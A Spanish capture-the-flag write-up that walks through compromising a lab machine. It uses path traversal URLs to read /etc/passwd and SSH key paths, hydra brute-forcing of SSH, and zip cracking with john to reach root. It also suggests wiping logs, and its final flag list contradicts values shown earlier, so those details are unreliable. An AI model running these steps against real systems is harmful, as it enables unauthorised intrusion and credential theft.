CTF-DeliciousHack-ShutDownCTF
WriteUps maquina ShutDownCTF de DeliciousHack
tags:
- CTF
- estado/completado
- plataforma: [DeliciousHack]
- dificultad: Fácil
- autor: [ShellDredd]
Datos
[!INFO] CTF
- Nombre: ShutDownCTF
- SO: Linux
- Dificultad: Fácil
- Creador: [ShellDredd]
- Descargar: CTF SHUTDOWN
[!TIP] Objetivo
IP Address: 10.6.6.55
Obtener las flags:
- 🚩 user.txt
-
🚩 root.txt
Reconocimiento
PORT STATE SERVICE REASON VERSION
23/tcp open telnet syn-ack ttl 64 Linux telnetd
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: DeliciousHack
6969/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 25:62:b8:14:da:7d:e9:ea:48:4c:a9:31:08:cd:c5:78 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwObTlb+0TVcGqyc6LpzBka3M/Y//L0+WBUpKsA+B24uoR/CqzsguRdkRzqsJ8R7O8kiTjhgTyqNcGtsDn3S+otrvNpX+JbbFq88HSa7jdI1KME/uS83e6mH2hGNIf3g8q1nzytu9STtflxOuEpXZCMBkrmQn+zMpgTne0BK2se1M7+mUWTb8iH91XE37HNUz7xgJtaQfusuPAJfOdMFTAtygoN4ePZgIbuoBRi+8z5GrHWLlABDq28j+gfKRQO1UfZ89walP+g53LDdmga1DtiYesvTeoE1VZ+YNmfp6P6tfExCzF3G8FIW4Kwt+kOhX2D9MHiYpHCltnTh/XHZTu9eEpanKF9m0HHFdythQpOTOTEMNoSNgJmFwhAIDDOngg18J3bZ9uYNhiNBeGdExK7/ZOyaTr0VHz4z3KasFGh+N3Af68jjrpMNH8nnw4wrXoOUKVC5LAw4xJsHADDyrY4KAI72abKZqB2NFjG1ZpNi2Vqd6lfLdSQNlPXOL0SrM=
| 256 b8:51:f8:62:de:16:09:d0:f9:a8:2c:c3:3b:09:a1:e3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF7T2H1zSur8v8MMVXi4rFbgDD+JTGsELCMftOiSg6KRMJ6GQXfMem0wEQDAYVp4z/dnGXs2YdxczS2OQQY7+mQ=
| 256 f4:f5:6c:ac:81:ed:06:14:ea:07:de:56:ac:34:ca:be (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICtWH6YtSW5hJr4hzL8+BcvALNY4+kJ3RlJma/9e554y
MAC Address: 08:00:27:E2:EA:39 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Anotaciones
[!FAQ] Observaciones El escaneo muestra 3 puertos abiertos: Puerto 23 con servicio telnet Versión: Linux telnetd Puerto 80 con servicio apache Versión: httpd 2.4.56 Puerto 6969 con servicio ssh Versión: OpenSSH 8.4p1
[!DANGER] ¡Atento! La imagen de fondo muestra la siguiente palabra: theriddle
Lo primero que intento realizar es ver si me puedo conectar como usuario anonymous
por telnet, y al intentarlo veo que no puedo, que solicita usuario y contraseña, datos que aun no tengo.
Algo más que intento realizar es escanear la web, realizar fuzzing y para ello uso gobuster
que me da el siguiente resultado:
/index.html (Status: 200) [Size: 516]
/.php (Status: 403) [Size: 274]
/.htm (Status: 403) [Size: 274]
/.html (Status: 403) [Size: 274]
/wp-admin (Status: 200) [Size: 921]
/blade (Status: 301) [Size: 306]
/.html (Status: 403) [Size: 274]
/.htm (Status: 403) [Size: 274]
/.php (Status: 403) [Size: 274]
/server-status (Status: 403) [Size: 274]
Al parecer existe un directorio llamado wp-admin
lo que indica que muy probablemente este ante un Wordpress, sin embargo al ingresar al directorio, me encuentro con esto:
¡Esto indica que no es un Wordpress! En el escaneo también veo el directorio: /blade
que solo contiene las imágenes de la web, intento buscar metadatos en estas imágenes y no contienen información importante.
[!WARNING] ¡Bloqueado! A este punto ya me encontraba bloqueado, no sabia por donde continuar, así que procedo a chequear un poco del WriteUps.
Cabecera (header)
Se menciona que la clave esta en fijarnos en el header de los archivos y esto lo hago con el comando: curl -I URL
eso fue lo que he realizado y el resultado fue que se puede ejecutar comandos en el sistema, con la función php_GET:system($shell)
, usando la variable $shell
, por lo tanto esto es un [[Path Traversal]]
Lección aprendida:
Siempre fijarse en las cabeceras de los archivos
Ya con esta información procedo a realizar el típico:
http://10.6.6.55/_wp-admin.php?shell=../../../../../../../../../../etc/passwd
Y la verdad, luego de estar bloqueado, el conseguir este resultado fue como ver la luz al final del túnel, pero solo era un escalón, se tenia que continuar… El resultado obtenido, es el siguiente:
Procedo a utilizar curl
para hacer legible la información o incluso podría verlo desde el código fuente para ver mejor el contenido y con ello, me doy cuenta que existe el usuario administrator
y se encuentra su carpeta de usuario en: /home/administrator
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:106:112::/nonexistent:/usr/sbin/nologin
debian-tor:x:107:114::/var/lib/tor:/bin/false
administrator:x:1001:1001::/home/administrator:/bin/bash
[!INFO] Consultado id_rsa del usuario
- Algo que rápidamente intento es consultar el archivo
id_rsa
del usuarioadministrator
en la ruta:/home/administrator/.ssh/id_rsa
ya que elservicio ssh
esta abierto en elpuerto 6969
Seria así:
http://10.6.6.55/_wp-admin.php?shell=../../../../../../../../../../home/administrator/.ssh/id_rsa
Y obtenemos el siguiente resultado:
Organizando un poco la información:
.-----------.
| HI JUNIOR |
|/----------'
.-. ,-.
;oo oo;
/ \| |/ \
|. `. .' .|
`;.;' `;.;'
.-^-. .-^-.
Como ya sabrás después del día de presentación, el servidor de DeliciousHack tiene deshabilitado SSH por ahora, así que tendrás que utilizar TELNET, pero no hagas como tu compañero de práticas, que no recordaba la contraseña y utilizó fuerza bruta para entrar... Nos dejó logs en el monitoreo y se quejaron los de SOC1... Espero que no rompas nada en mis días de vacaciones. Un saludo, Raimundo[Admin Senior]
[[ShellDredd]] si llegas a leer esto, te quiero decir lo siguiente:
- ¿Por que complicas todo? xD
Del mensaje mostrado, puedo sacar lo que podría ser algunas claves:
- Usuarios posibles:
junior
,raimundo
- SOC1 podría ser un directorio, una clave o algo más.
- Me parece un engaño que diga que el SSH esta deshabilitado pues ya vimos que se esta ejecutando en el puerto 6969
- ¿Me estará diciendo que no haga fuerza bruta a telnet?
- El hacerlo dejara log y no queremos ser descubiertos.
¡Hagamos lo contrario a lo que nos dice!
Si me dice que no haga fuerza bruta a telnet, es por algo, aunque dejemos log, podemos eliminarlo, así que intentemos eso… Por lo tanto utilizando hydra
intente realizar un ataque de fuerza bruta al servicio telnet
con los usuarios: junior, raimundo y administrator
usando el diccionario rockyou.txt
, pero no he obtenido buenos resultados (y lo deje corriendo por bastante tiempo).
¿Que hacer ahora?
El otro posible engaño es que nos dice que el servicio SSH esta deshabilitado, pero sabemos que si esta en ejecución, y procedemos a consultar su archivo de configuración:
http://10.6.6.55/_wp-admin.php?shell=../../../../../../../../../../../../../etc/ssh/sshd_config
Y obtenemos lo siguiente, donde se ve la configuración del puerto 6969 para el servicio SSH, pero no se ve gran cosa.
# $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# Include additional configuration files from the directory /etc/ssh/sshd_config.d/
Include /etc/ssh/sshd_config.d/*.conf
# Specify the port number for SSH connections
Port 6969
# Specify the banner file to display before login
Banner /etc/ssh/sshd/sshd-banner
# Authentication:
#PubkeyAuthentication yes
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
#PasswordAuthentication yes
ChallengeResponseAuthentication no
UsePAM yes
# X11 Forwarding
X11Forwarding yes
# Subsystem configuration for SFTP
Subsystem sftp /usr/lib/openssh/sftp-server
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
# Override default of no subsystems
# Example of overriding settings on a per-user basis
#Match User anoncvs
# X11Forwarding no
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs server
Parte del escaneo de nmap mostraba lo siguiente:
| 256 b8:51:f8:62:de:16:09:d0:f9:a8:2c:c3:3b:09:a1:e3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF7T2H1zSur8v8MMVXi4rFbgDD+JTGsELCMftOiSg6KRMJ6GQXfMem0wEQDAYVp4z/dnGXs2YdxczS2OQQY7+mQ=
| 256 f4:f5:6c:ac:81:ed:06:14:ea:07:de:56:ac:34:ca:be (ED25519)
|_ssh-ed25519
Así que la contraseña privada de SSH, podría no ser: id_rsa
, si no: id_ed25519
así que procedo a consultar:
http://10.6.6.55/_wp-admin.php?shell=../../../../../../../../../../../../../home/administrator/.ssh/id_ed25519
también intentamos consultar: known_hosts
pero esta vació.
- ¡Otro intento fallido!
Sin embargo, tomando aire, estirándome un poco, pienso; ¿cual es mi objetivo? Así que recuerdo que es obtener la flag de user
y esta normalmente se encuentra en el home
del usuario, así que podría intentar consultar este archivo directamente.
[!INFO] Consultando flag del usuario
- Primero intente consultando:
/home/administrator/flag.txt
- Luego intente:
/home/administrator/user.txt
(Obtenido)
Análisis de vulnerabilidades
Flag de usuario
¡Y listo! - Que genial, primer paso logrado. Utilizando la vulnerabilidad [[Path Traversal]], que permite navegar entre directorios, logramos consultar la flag de usuario directamente, y el resultado es el siguiente:
---------------------------------------
_,-""`""-~`) *-------------*
(`~ \ |DeliciousHack|
| a a \ *-------------*
; o ; ___ _,,,,_ _.-~'.
\ `^` /`_.-"~ `~-;` \
\_ _ .' `, |
|`- \'__/
/ ,_ \ `'-.
/ .-""~~--. `"-, ;_ /
| \ \ | `""`
\__.--'`"-. /_ |'
`"` `~~~---.., |
\ _.-'`-.
ENHORABUENA \ \
'. /
`"~"`
Has conseguido la primera flag del CTF.
Cangea tus donnuts en Login de flags de este desafío.
Suerte con la flag de root.
flag{QnVzY2EgdHUgbWlzbW8gbGEgZmxhZw==}
---------------------------------------
- Intentemos algo, que es probable no funcione..
http://10.6.6.55/_wp-admin.php?shell=../../../../../../../../../../../../../root/root.txt
¡En efecto… No funciono! :(
Explotación de vulnerabilidades
Uno de los primeros intentos fue realizar un ataque de fuerza bruta con hydra
al servicio telnet, con los usuarios: junior, raimundo y administrator
, pero sin éxito, luego intento lo mismo pero con el servicio ssh, empezando con el usuario que se que existe.
hydra -l administrator -P /usr/share/wordlists/rockyou.txt ssh://10.6.6.55:6969
- ¡Y siiiiiii… Oh yeah! Objetivo conseguido.
[STATUS] 135.00 tries/min, 135 tries in 00:01h, 14344246 to do in 1770:54h, 15 active
[6969][ssh] host: 10.6.6.55 login: administrator password: RGViZXMgb2J0ZW5lcmxhIHR1IG1pc21v
- También intente un ataque de fuerza bruta al servicio ssh con el usuario root, pero sin buenos resultados.
¡Estamos dentro!
Escalada de privilegios
Estando dentro de la maquina como usuario administrator
realice un simple ls
para listar los archivos en ese directorio, y encuentro acceso a dos archivos: manual
y user.txt
este ultimo ya conozco su contenido.
Así que procedo a consultar, el contenido del otro archivo: cat manual
administrator@shutdown:~$ cat manual
*--------------------------------------------------------------------*
| Todos las claves de acceso, url de aplicativos y cualquier usuario |
| o passwd que se necesite como administrador, está disponible como |
| archivo comprimido en este servidor, en la ruta /opt/recursos/ |
| Para conseguir la contraseña del archivo comprimido, enviar correo |
| a departamento técnico. |
*--------------------------------------------------------------------*
.-.
[.-''-.,
| //`~\)
(<| 0\0|>_
";\ _"/ \\_ _,
__\|'._/_ \ '='-,
/\ \ || )_///_\>>
( '._ T |\ | _/),-'
'. '._.-' /'/ |
| '._ _.'`-.._/
,\ / '-' |/
[_/\-----j
_.--.__[_.--'_\__
/ `--' '---._
/ '---. -'. .' _.-- '.
\_ '--.___ _;.-o /
'.__ ___/______.__8----'
[!DANGER] ¡Nueva aventura!
- ¿Sera este archivo comprimido un rabbit hole? 🐰
Al consultar el directorio indicado: /opt/recursos
encuentro en efecto un archivo llamado: g-accesos.zip
sin embargo, ¿estará realmente allí los datos de acceso que necesito?, ¿enviar un correo para obtener la contraseña?….
- Intente algunas cosas primeros, por ejemplo:
Primero buscar archivos con permisos -4000, archivos SUID
find / -perm -4000 2>/dev/null
Resultado:
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chsh
/usr/bin/su
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/lib/telnetlogin
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Así que ingresando en gtfobins.github.io
realizo una comprobación de cada uno de los binarios para ver si puedo elevar privilegios con este método, pero sin buenos resultados.
Luego de intento otras cosas como:
sudo -l
chmod u+s /bin/bash
env
Luego de intentar y probar varias cosas, sin buenos resultados, pues me resigno e intento ver el contenido de g-accesos.zip
en este caso prefiero descargar de forma local el archivo, podría hacerlo con ssh, pero para mas rápido, intento hacerlo con un servidor web usando python.
Y efectivamente, es un archivo comprimido en zip, que tiene un archivo llamado accesos
el cual tiene buena pinta, vamos a intentar sacar su contraseña:
¡John The Ripper! Yo te invoco
(Decepción total conmigo) - Al final fue mucho mas fácil de lo esperado.
- Tenia que haber empezando por aquí desde un principio.
¿Que pasos he realizado?
- Usando
zip2john
le indico el archivo comprimidog-accesos.zip
para que me genere unhash
del mismo del archivo. - Luego teniendo este
hash
le paso el diccionariorockyou.txt
ajohn
para que devuelva la contraseña.
Resultado obtenido:
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
TWFyc2hhbGwgQnJ1Y2UgTWF0aGVycyBJSUk= (g-accesos.zip/accesos)
1g 0:00:00:00 DONE (2024-03-31 20:10) 100.0g/s 2457Kp/s 2457Kc/s 2457KC/s 123456..280690
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Y luego de colocar la contraseña en el archivo comprimido y acceder al archivo accceso
obtengo la contraseña de root
, por lo tanto realizo un su
e ingreso como root para obtener la flag de root.
PWNED
Bandera(s)
[!FLAG]
User=flag{RGViZXMgb2J0ZW5lcmxhIHR1IG1pc21v}
Root=flag{QnVzY2EgdHUgbWlzbW8gbGEgZmxhZw==}
Comandos
[!IMPORTANT] Resumen de comandos utilizados
nmap -p- --open -sC -sS -sV min-rate=5000 -n -vvv -Pn 10.6.6.55
gobuster dir -u http://10.6.6.52/ -t 400 -w /directory-list-2.3-medium.txt
exiftool {NombreIMG}.jpg
curl -I http://10.6.6.55/_wp-admin.php
http://IP/_wp-admin.php?shell=../../etc/passwd
http://IP/_wp-admin.php?shell=../../home/administrator/.ssh/id_rsa
http://IP/_wp-admin.php?shell=../../home/administrator/user.txt
hydra -l administrator -P rockyou.txt ssh://10.6.6.55:6969
zip2john g-accesos > hash
john --wordlist=rockyou.txt hash
¡Que la fuerza del hacking ético nos acompañe! :)